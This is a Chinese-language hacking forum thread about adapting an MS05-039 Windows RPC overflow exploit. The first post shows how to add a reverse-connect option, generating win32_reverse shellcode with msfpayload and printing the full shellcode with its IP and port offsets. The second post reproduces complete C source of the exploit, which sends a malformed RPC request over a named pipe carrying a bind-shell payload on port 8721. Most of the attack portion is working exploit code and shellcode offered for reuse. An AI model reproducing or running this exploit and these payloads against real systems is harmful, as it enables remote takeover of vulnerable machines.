文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
被人说了一顿,俺再也不敢申请什么精华了。昨天晚上他上俺屋里把俺笑话了一番,嫌俺笨。说加个shellcode还用得着自己重新写了,有现成的DD不用,简直是脱了**放**。我说:呸呸呸,**嘴里吐不出**来,你有更好的方法你教俺啊?结果他真教俺了,我看了看确实比重新写要容易得多,不过俺不后悔俺学会写shellcode了
大家想要代码,俺寻思着如果只是给大家代码了也只是懂了这么一个,以后再碰到未必能搞定。其实俺那个改写就是花在shellcode上的精力多,本身代码的修改上没有多少东西。俺还是把方法给大家介绍一下吧,是俺BF教俺的。俺偷偷给大家,嘿嘿
原代码的下载执行功能需要的argc的值为4,而咱们要改的反向连接的shellcode多了一个port,所以argc变成5了。那么咱们在函数main中就可以根据argc的值不同进行不同shellcode的选择了。main函数中的部分代码这样修改:
if (argc==5)
{
Attack(hFile,argv[2],atoi(argv[4]),atoi(argv[3]),1);
}
else
{
//SendMalformed RPC request
Attack(hFile,argv[2],atoi(argv[3]),0,0);
}
由于原代码中的主要攻击过程放在了attack函数中,咱们的修改也就只在这个函数中进行。首先由于多了一个反向连接的port参数,因此attack函数的形参也要增加一个port的变量,同时还要增加一个type变量用来指示代码该使用哪个shellcode。所以修改后的attack函数的原形如下:
int Attack(HANDLE PipeHandle,char *paramstr,int i,unsigned short port,int type)
原代码中的shellcode生成过程放在makecode函数中,在attack函数中调用。那么咱们需要修改的是让程序根据type变量的值决定使用哪个shellcode。因此attack的修改部分如下:
if(type==0)
{
makecode(paramstr);
}
else
{
ip=inet_addr(paramstr);
port=htons(port);
memcpy(connectbacksc+160,&ip,4);
memcpy(connectbacksc+166,&port,2);
memcpy(sc,connectbacksc,sizeof(connectbacksc));
Sc_len=sizeof(connectbacksc);
}
程序代码的修改到这里基本就可以了,剩下的就是shellcode了。由于shellcode必须使用一种退出机制否则攻击结束后会导致目标机器出现关机重起的现象。俺的笨方法就不说了,看看俺BF是怎么做的吧:
metasploit framework这个DD很多人都只认为它只是个漏洞利用工具的集合,其实它是把自己定位在一个漏洞研发平台上。在metasploit framework中有很多开发工具,这里就说个咱们用到的吧。剩下的大家去摸索。在metasploit framework的安装目录的framework目录下有一个工具叫msfpayload,用它可以产生我们想要的DD--shellcode。打开cgyshell,来到framework目录下,如下图。
运行下帮助看看:
$ ./msfpayload -h
Usage: ./msfpayload <payload> [var=val] <S|C|P|R|X>
不用说了<payload>就是要使用的shellcode的名称了,而[var=val]就是shellcode中要用到的一些参数,而后面的选向是:
S:察看payload的相关信息,用来确定需要制定哪些参数
C:产生如"/xfc/x6a"这样的C代码版的shellcode。
P:是产生perl版的shellcode。
R:是shellcode的二进制原始数据。
X:payload的16进制数据。
大家可以自己试试。到这里咱们就来看看怎么生成我们需要的shellcode了。首先看一下,我们要用到的payload需要的参数,如下图。
这些参数中与咱们这次需要的shellcode的关系最密切的就是EXITFUNC参数,它就是用来指定shellcode的退出方式的,也就是为什么会导致关机的问题所在。剩下那两个不用说了就是反向连接的IP和端口。知道了参数,咱们就开始生成吧,命令如下:
$ ./msfpayload win32_reverse LHOST=1.2.3.4 LPORT=65534 EXITFUNC=thread C
返回的结果如下图。
大家可能要问为什么ip地址用1.2.3.4,而port用65534呢?这里是为了咱们下一步的定位,俺还是把shellcode列出如下:
"/xfc/x6a/xeb/x4d/xe8/xf9/xff/xff/xff/x60/x8b/x6c/x24/x24/x8b/x45"
"/x3c/x8b/x7c/x05/x78/x01/xef/x8b/x4f/x18/x8b/x5f/x20/x01/xeb/x49"
"/x8b/x34/x8b/x01/xee/x31/xc0/x99/xac/x84/xc0/x74/x07/xc1/xca/x0d"
"/x01/xc2/xeb/xf4/x3b/x54/x24/x28/x75/xe5/x8b/x5f/x24/x01/xeb/x66"
"/x8b/x0c/x4b/x8b/x5f/x1c/x01/xeb/x03/x2c/x8b/x89/x6c/x24/x1c/x61"
"/xc3/x31/xdb/x64/x8b/x43/x30/x8b/x40/x0c/x8b/x70/x1c/xad/x8b/x40"
"/x08/x5e/x68/x8e/x4e/x0e/xec/x50/xff/xd6/x66/x53/x66/x68/x33/x32"
"/x68/x77/x73/x32/x5f/x54/xff/xd0/x68/xcb/xed/xfc/x3b/x50/xff/xd6"
"/x5f/x89/xe5/x66/x81/xed/x08/x02/x55/x6a/x02/xff/xd0/x68/xd9/x09"
"/xf5/xad/x57/xff/xd6/x53/x53/x53/x53/x43/x53/x43/x53/xff/xd0/x68"
"/x01/x02/x03/x04/x66/x68 /xff/xfe/x66/x53/x89/xe1/x95/x68/xec/xf9"
"/xaa/x60/x57/xff/xd6/x6a/x10/x51/x55/xff/xd0/x66/x6a/x64/x66/x68"
"/x63/x6d/x6a/x50/x59/x29/xcc/x89/xe7/x6a/x44/x89/xe2/x31/xc0/xf3"
"/xaa/x95/x89/xfd/xfe/x42/x2d/xfe/x42/x2c/x8d/x7a/x38/xab/xab/xab"
"/x68/x72/xfe/xb3/x16/xff/x75/x28/xff/xd6/x5b/x57/x52/x51/x51/x51"
"/x6a/x01/x51/x51/x55/x51/xff/xd0/x68/xad/xd9/x05/xce/x53/xff/xd6"
"/x6a/xff/xff/x37/xff/xd0/x68/xe7/x79/xc6/x79/xff/x75/x04/xff/xd6"
"/xff/x77/xfc/xff/xd0/x68/xef/xce/xe0/x60/x53/xff/xd6/xff/xd0";
注意看被俺加粗的那两段代码不就是ip和port吗?这样咱们就很容易定位出ip和port在shellcode中的偏移分别是:160和166。到这里咱们的shellcode生成工作就算完成了。当然有的时候会需要对shellcode进行编码处理,如果是在测试的时候咱们可以使用metasploit framework中提供的msfencode程序来对shellcode进行编码,它的运行说明如下:
./msfencode -h
Usage: ./msfencode <options> [var=val]
Options:
-i <file> Specify the file that contains the raw shellcode ;保存原始shellcode文件名
-a <arch> The target CPU architecture for the payload ;目标CPU的架构,比如x86等。一般不用理会
-o <os> The target operating system for the payload ;目标使用的操作系统,也不用理会(都是win的嘛,呵呵)
-t <type> The output type: perl, c, or raw ;输出的文件格式,可选:perl,c,raw
-b <chars> The characters to avoid: '/x00/xFF' ;需要避免的坏字符,也就是说要编码的自符。比如不能出现/x00/xff
-s <size> Maximum size of the encoded data ;最大字节数
-e <encoder> Try to use this encoder first ;优先使用的编码器的名称
-n <encoder> Dump Encoder Information ;察看某个编码器的信息
-l List all available encoders ;列出所有可用的编码器
具体俺不说了,这个只是在测试的时候用,如果实际编写exploit的时候需要自己实现编码的功能了。好了,俺介绍到这,大家应该知道怎么修改出来的吧。俺当时还重新写,想想俺确实挺笨的。其实手工写也有好处,可以根据实际情况定制。其实保护好被溢出的程序是大家应该注意的问题,不然一溢出就死掉的话傻子才看不出来呢?嘿嘿!自己写的话加个exitthread使用线程退出的方式然后再调试调试就OK了,俺不废话了。
代码俺就不用给了吧?看到这里你们应该都会自己改了,俺全都交代了。回头俺BF肯定说俺,他以前不这样的,可是最近老说什么不让俺乱发东西技术自己留着,现在这个社会太自私滴:-)不要怪他啊,他大概是打工打成这样了
好了,俺以后不申请什么精华了,省着被人说三道四的。哼!
______________________________________________________________
我用我老婆的号发一个帖子吧,我的系统崩溃了,在重新装系统。趁她吃饭的时候,我用她的机器发下。
刚才在第一个帖子中确实有点激动了,也许好久没来论坛了似乎有点生疏了。其实修改代码是个很正常的事情,像macro的代码我仔细看了一下,其中协议实现上应该也是参考了别人的代码。你们可以看一下:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winnetwk.h>
#include <winsock.h>
#include <Rpc.h>
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
BYTE Data1[0x68] =
{0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,
0x52,0x00,0x4F,0x00,0x4F,0x00,0x54,0x00,0x5C,0x00,0x53,0x00,
0x59,0x00,0x53,0x00,0x54,0x00,0x45,0x00,0x4D,0x00,0x5C,0x00,
0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x00,0x00,0x00,0x00,
0xFF,0xFF,0x00,0x00,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xEE,0xEE,0xEE,0xEE,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,
0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
struct DataStruct1
{
BYTE SomeString[0x30];
DWORD RESDataType;
DWORD LFD;
DWORD SDM1;
DWORD SDO;
DWORD SDL;
DWORD SDM2;
BYTE SDA[0x07D0];
DWORD LRD;
DWORD MB;
DWORD DM;
};
struct RPCBIND
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
WORD MaxXmitFrag;
WORD MaxRecvFrag;
DWORD AssocGroup;
BYTE NumCtxItems;
WORD ContextID;
WORD NumTransItems;
GUID InterfaceUUID;
WORD InterfaceVerMaj;
WORD InterfaceVerMin;
GUID TransferSyntax;
DWORD SyntaxVer;
};
//from metasploit, before you were born
BYTE
BindShell[374]={"/xe8/x56/x00/x00/x00/x53/x55/x56/x57/x8b/x6c/x24/x1
8/x8b/x45/x3c"
"/x8b/x54/x05/x78/x01/xea/x8b/x4a/x18/x8b/x5a/x20/x01/xeb/xe3/x32"
"/x49/x8b/x34/x8b/x01/xee/x31/xff/xfc/x31/xc0/xac/x38/xe0/x74/x07"
"/xc1/xcf/x0d/x01/xc7/xeb/xf2/x3b/x7c/x24/x14/x75/xe1/x8b/x5a/x24"
"/x01/xeb/x66/x8b/x0c/x4b/x8b/x5a/x1c/x01/xeb/x8b/x04/x8b/x01/xe8"
"/xeb/x02/x31/xc0/x5f/x5e/x5d/x5b/xc2/x08/x00/x5e/x6a/x30/x59/x64"
"/x8b/x19/x8b/x5b/x0c/x8b/x5b/x1c/x8b/x1b/x8b/x5b/x08/x53/x68/x8e"
"/x4e/x0e/xec/xff/xd6/x89/xc7/x81/xec/x00/x01/x00/x00/x57/x56/x53"
"/x89/xe5/xe8/x27/x00/x00/x00/x90/x01/x00/x00/xb6/x19/x18/xe7/xa4"
"/x19/x70/xe9/xe5/x49/x86/x49/xa4/x1a/x70/xc7/xa4/xad/x2e/xe9/xd9"
"/x09/xf5/xad/xcb/xed/xfc/x3b/x57/x53/x32/x5f/x33/x32/x00/x5b/x8d"
"/x4b/x20/x51/xff/xd7/x89/xdf/x89/xc3/x8d/x75/x14/x6a/x07/x59/x51"
"/x53/xff/x34/x8f/xff/x55/x04/x59/x89/x04/x8e/xe2/xf2/x2b/x27/x54"
"/xff/x37/xff/x55/x30/x31/xc0/x50/x50/x50/x50/x40/x50/x40/x50/xff"
"/x55/x2c/x89/xc7/x31/xdb/x53/x53/x68/x02/x00/x22/x11/x89/xe0/x6a"
"/x10/x50/x57/xff/x55/x24/x53/x57/xff/x55/x28/x53/x54/x57/xff/x55"
"/x20/x89/xc7/x68/x43/x4d/x44/x00/x89/xe3/x87/xfa/x31/xc0/x8d/x7c"
"/x24/xac/x6a/x15/x59/xf3/xab/x87/xfa/x83/xec/x54/xc6/x44/x24/x10"
"/x44/x66/xc7/x44/x24/x3c/x01/x01/x89/x7c/x24/x48/x89/x7c/x24/x4c"
"/x89/x7c/x24/x50/x8d/x44/x24/x10/x54/x50/x51/x51/x51/x41/x51/x49"
"/x51/x51/x53/x51/xff/x75/x00/x68/x72/xfe/xb3/x16/xff/x55/x04/xff"
"/xd0/x89/xe6/xff/x75/x00/x68/xad/xd9/x05/xce/xff/x55/x04/x89/xc3"
"/x6a/xff/xff/x36/xff/xd3/xff/x75/x00/x68/x7e/xd8/xe2/x73/xff/x55"
"/x04/x31/xdb/x53/xff/xd0"};
BYTE PRPC[0x48] =
{0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x
00,0x00,0x00,
0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x
00,0x01,0x00,
0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0x
D9,0x2E,0xF5,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0x
E8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
struct RPCFUNC
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
DWORD AllocHint;
WORD ContextID;
WORD Opnum;
};
BYTE POP[0x27] =
{0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xAC,0x10,0x00,0x00,0x01,0x
00,0x00,0x00,
0x94,0x10,0x00,0x00,0x00,0x00,0x09,0x00,0x05,0x08,0x00,0x00,0x00,0x
00,0x00,0x00,
0x05,0x08,0x00,0x00,0x41,0x00,0x41};
int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer)
{
BYTE rbuf[0x1000];
DWORD dw;
struct RPCBIND RPCBind;
memcpy(&RPCBind,&PRPC,sizeof(RPCBind));
UuidFromString(Interface,&RPCBind.InterfaceUUID);
UuidToString(&RPCBind.InterfaceUUID,&Interface);
RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]);
RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]);
TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,
sizeof(rbuf), &dw, NULL);
return 0;
}
int Attack(HANDLE PipeHandle)
{
struct RPCFUNC RPCOP;
int bwritten=0;
BYTE *LargeBuffer;
BYTE rbuf[0x100];
DWORD dw;
struct DataStruct1 EvilRPC;
memcpy(&EvilRPC,&Data1,sizeof(EvilRPC));
EvilRPC.SDL=0x07C0;
memset(EvilRPC.SDA,0x90,0x07D0);
EvilRPC.SDA[76]=0x3e;
EvilRPC.SDA[77]=0x1e;
EvilRPC.SDA[78]=0x02;
EvilRPC.SDA[79]=0x75;
memset(EvilRPC.SDA+80,0x90,10);
EvilRPC.SDA[90]=0x90;
memcpy(EvilRPC.SDA+94,BindShell,374);
EvilRPC.MB=0x00000004;
EvilRPC.DM=0x00000000;
EvilRPC.LFD=0x000007E0;
EvilRPC.LRD=0x000007E0;
memcpy(&RPCOP,&POP,sizeof(RPCOP));
RPCOP.Opnum = 54;
RPCOP.FragLength=sizeof(RPCOP)+sizeof(EvilRPC);
RPCOP.AllocHint=sizeof(EvilRPC);
LargeBuffer=malloc(sizeof(RPCOP)+sizeof(EvilRPC));
memset(LargeBuffer,0x00,sizeof(RPCOP)+sizeof(EvilRPC));
memcpy(LargeBuffer,&RPCOP,sizeof(RPCOP));
memcpy(LargeBuffer+sizeof(RPCOP),&EvilRPC,sizeof(EvilRPC));
printf("Sending payload.../nThis has to time out... ctrl+c after 5
secs/ncheck for shell on port 8721");
TransactNamedPipe(PipeHandle, LargeBuffer,
sizeof(RPCOP)+sizeof(EvilRPC), rbuf, sizeof(rbuf), &dw, NULL);
free(LargeBuffer);
return 0;
}
int main(int argc, char* argv[])
{
char *server;
NETRESOURCE nr;
char unc[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
if (argc < 2)
{
printf("Usage: %s <host>/n", argv[0]);
return 1;
}
server=argv[1];
_snprintf(unc, sizeof(unc), "%s//pipe", server);
unc[sizeof(unc)-1] = 0;
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = unc;
nr.lpProvider = NULL;
WNetAddConnection2(&nr, "", "", 0);
_snprintf(szPipe, sizeof(szPipe), "%s//pipe//browser",server);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
BindRpcInterface(hFile,"8d9f4e40-a03d-11ce-8f69-
08003e30051b","1.0");
//SendMalformed RPC request
Attack(hFile);
return 0;
}
这是ms05039的溢出代码,对比macro的大家应该能看得出来吧?然后剩下的就是再截获一下metaspoit framework的数据包就很容易修改了。
所以修改和借鉴都没有错,代码重用是非常好的一件事情。既然代码公开了,就不要去追究会不会有人修改。只是大家在修改的时候应该说明一下就是了。
恩,我刚才也太过于考虑我老婆,说实在的我挺感动的。她以前对电脑可是不感兴趣的,也是觉得跟我在一起没有共同语言才委屈自己去学习这些东西,不过看来她也是喜欢上了。我本人由于各种原因无法上网了。但我舍不得论坛,所以从此让我老婆来尽我的一份责任。也许这对她来说担子太重,但也没办法谁让她是我的老婆!这样我可以从她那能随时获得论坛的一些信息。我的号将在很长一段时间内不会用了,这也是我最后一次在论坛露面希望我的老婆能挑起这份担子。我批评她了,她在论坛就是她不代表任何人,不要老是一口一个“俺BF”。她是有点怕生。好了,大家多支持她,算是帮我一个忙。我会一直关注的。就这些了,收队!